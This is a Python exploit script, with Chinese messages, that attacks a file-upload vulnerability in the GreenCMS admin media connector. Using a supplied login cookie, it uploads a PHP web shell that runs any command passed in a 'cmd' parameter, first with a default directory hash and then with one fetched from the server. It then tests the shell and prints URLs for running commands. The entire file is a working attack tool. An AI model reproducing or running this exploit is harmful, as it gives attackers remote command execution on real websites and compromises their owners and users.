#!/usr/bin/env python3
import requests
import argparse
import sys
import json
import random
import string
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def banner():
    print(r"""
   ______     ______     ______     ______     ______     ______     ______    
  /_____/\   /_____/\   /_____/\   /_____/\   /_____/\   /_____/\   /_____/\   
  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \ 
   \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \
    \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \  \:\ \ \ \
     \:\/.:| |  \:\/.:| |  \:\/.:| |  \:\/.:| |  \:\/.:| |  \:\/.:| |  \:\/.:| |
      \____/_/   \____/_/   \____/_/   \____/_/   \____/_/   \____/_/   \____/_/ 
    """)
    print("GreenCMS 文件上传漏洞利用工具 (支持默认Hash fallback)")
    print("=" * 60)

def get_upload_hash(target, session):
    """从服务器动态获取 Upload 目录的 hash"""
    url = f"{target}/index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Connection": "close"
    }

    print(f"[+] 正在获取 Upload 目录 Hash: {url}")
    try:
        res = session.get(url, headers=headers, timeout=10, verify=False)
        print(f"[*] 响应码: {res.status_code}")

        if res.status_code == 200:
            try:
                data = res.json()
                if "files" in data:
                    for item in data["files"]:
                        if item.get("name") == "Upload" and "hash" in item:
                            upload_hash = item["hash"]
                            print(f"[+] 成功获取 Upload 目录 Hash: {upload_hash}")
                            return upload_hash
                print("[-] 未在响应中找到 Upload 目录")
            except json.JSONDecodeError:
                print("[-] 响应不是有效的 JSON 格式")
        else:
            print(f"[-] 获取 Hash 请求失败: {res.status_code}")
    except Exception as e:
        print(f"[-] 获取 Hash 时发生错误: {e}")
    return None

def upload_webshell(target, upload_hash, session, filename=None):
    """上传 WebShell，返回 (成功, 响应文本, webshell_url)"""
    url = f"{target}/index.php?m=admin&c=media&a=fileconnect"

    # 生成随机文件名
    random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    webshell_name = filename or f"{random_str}.php"
    
    webshell_content = '<?php echo "OK"; system($_GET["cmd"]); ?>'

    boundary = "----WebKitFormBoundary" + ''.join(random.choices(string.ascii_letters + string.digits, k=16))

    body = (
        f"--{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"cmd\"\r\n\r\n"
        f"upload\r\n"
        f"--{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"target\"\r\n\r\n"
        f"{upload_hash}\r\n"
        f"--{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"upload[]\"; filename=\"{webshell_name}\"\r\n"
        f"Content-Type: application/octet-stream\r\n\r\n"
        f"{webshell_content}\r\n"
        f"--{boundary}--\r\n"
    )

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Connection": "close"
    }

    print(f"[+] 尝试上传 WebShell -> Hash: {upload_hash}")
    try:
        res = session.post(url, headers=headers, data=body, timeout=10, verify=False)
        print(f"[*] 响应码: {res.status_code}")

        if res.status_code == 200:
            try:
                data = res.json()
                if "added" in data and len(data["added"]) > 0:
                    webshell_url = f"{target}/Upload/{webshell_name}"
                    print(f"[+] 上传成功！WebShell 地址: {webshell_url}")
                    return True, res.text, webshell_url
                else:
                    print("[-] 上传失败：响应中未包含文件信息")
            except json.JSONDecodeError:
                print("[-] 响应不是有效的 JSON 格式")
        else:
            print(f"[-] 上传失败: HTTP {res.status_code}")
    except Exception as e:
        print(f"[-] 上传时发生异常: {e}")
    
    return False, None, None

def execute_command(webshell_url, cmd, session):
    """执行系统命令"""
    encoded_cmd = urllib.parse.quote(cmd)
    full_url = f"{webshell_url}?cmd={encoded_cmd}"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Connection": "close"
    }
    try:
        res = session.get(full_url, headers=headers, timeout=10, verify=False)
        return res.text.strip()
    except Exception as e:
        return f"[!] 执行失败: {e}"

def main():
    parser = argparse.ArgumentParser(description="GreenCMS 文件上传漏洞利用工具")
    parser.add_argument('url', help='目标URL，例如: http://192.168.63.128')
    parser.add_argument('-c', '--cookie', required=True, help='完整认证 Cookie')

    args = parser.parse_args()

    banner()
    print(f"[+] 目标: {args.url}")

    session = requests.Session()
    cookies_dict = {}
    for cookie in args.cookie.split(';'):
        if '=' in cookie:
            key, value = cookie.strip().split('=', 1)
            cookies_dict[key] = value
    session.cookies.update(cookies_dict)

    # Step 1: 先尝试使用默认 Hash l1_XA 上传
    print("\n[+] 第一阶段：尝试使用默认 Hash l1_XA 上传...")
    success, _, webshell_url = upload_webshell(args.url, "l1_XA", session)

    if success:
        print("[+] 验证 WebShell...")
        result = execute_command(webshell_url, 'echo "TestSuccess"', session)
        if "TestSuccess" in result:
            print("[+] WebShell 验证成功！")
            print(f"\n[+] 漏洞利用成功！")
            print(f"[+] WebShell: {webshell_url}")
            print(f"    curl '{webshell_url}?cmd=id'")
            sys.exit(0)
        else:
            print("[-] WebShell 内容异常，继续第二阶段...")

    # Step 2: 默认 Hash 失败，尝试动态获取真实 Hash
    print("\n[+] 第二阶段：默认 Hash 失败，尝试动态获取 Upload Hash...")
    upload_hash = get_upload_hash(args.url, session)
    if not upload_hash:
        print("[-] 无法获取真实 Upload Hash，退出")
        sys.exit(1)
    print(f"[+] 使用真实 Hash {upload_hash} 重新上传...")
    success, _, webshell_url = upload_webshell(args.url, upload_hash, session)
    if not success:
        print("[-] 使用真实 Hash 上传仍失败，退出")
        sys.exit(1)

    print("[+] 验证 WebShell...")
    result = execute_command(webshell_url, 'echo "TestSuccess"', session)
    if "TestSuccess" not in result:
        print("[-] WebShell 验证失败（可能被拦截或解析失败）")
        sys.exit(1)

    print("[+] WebShell 验证成功！")
    print("\n" + "="*60)
    print(" 漏洞利用成功完成！")
    print(f" WebShell URL: {webshell_url}")
    print(f" 执行命令: {webshell_url}?cmd=whoami")
    print("="*60)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print("\n[*] 用户中断，退出程序")
        sys.exit(0)